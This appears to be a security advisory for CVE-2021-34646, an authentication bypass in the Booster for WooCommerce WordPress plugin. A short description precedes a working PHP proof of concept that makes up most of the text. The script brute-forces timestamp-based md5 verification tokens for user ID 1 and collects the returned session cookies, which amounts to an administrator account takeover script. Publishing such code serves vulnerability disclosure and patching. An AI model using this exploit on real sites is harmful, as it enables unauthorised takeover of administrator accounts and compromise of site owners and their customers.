Booster for WooCommerce < 5.4.4 – Authentication Bypass | CVE 2021-34646

Description

Versions up to, and including, 5.4.3, of the Booster for WooCommerce WordPress plugin are vulnerable to authentication bypass via the process_email_verification function due to a random token generation weakness in the reset_and_mail_activation_link function found in the ~/includes/class-wcj-emails-verification.php file. This allows attackers to impersonate users and trigger an email address verification for arbitrary accounts, including administrative accounts, and automatically be logged in as that user, including any site administrators. This requires the Email Verification module to be active in the plugin and the Login User After Successful Verification setting to be enabled, which is by default.

Proof of Concept

<?php

// Settings
$wp_url = $argv[1];

$starttime = time();

// Initiate the token
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/?wcj_user_id=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

$endtime = time();

//Loop through to get the right time. 
foreach (range($starttime, $endtime) as $number) {
   //Json Encode Our Goods
    $data2 = array(
        "id" => "1",
        "code" => md5($number));
    $postdata1 = base64_encode(json_encode($data2));
    echo $postdata1;
    //Create New Post
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $wp_url . '?wcj_verify_email=' . $postdata1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $output, $matches);
    $cookies = array();
    foreach($matches[1] as $item) {
        parse_str($item, $cookie);
        $cookies = array_merge($cookies, $cookie);
    }
    var_dump($cookies);
}
?>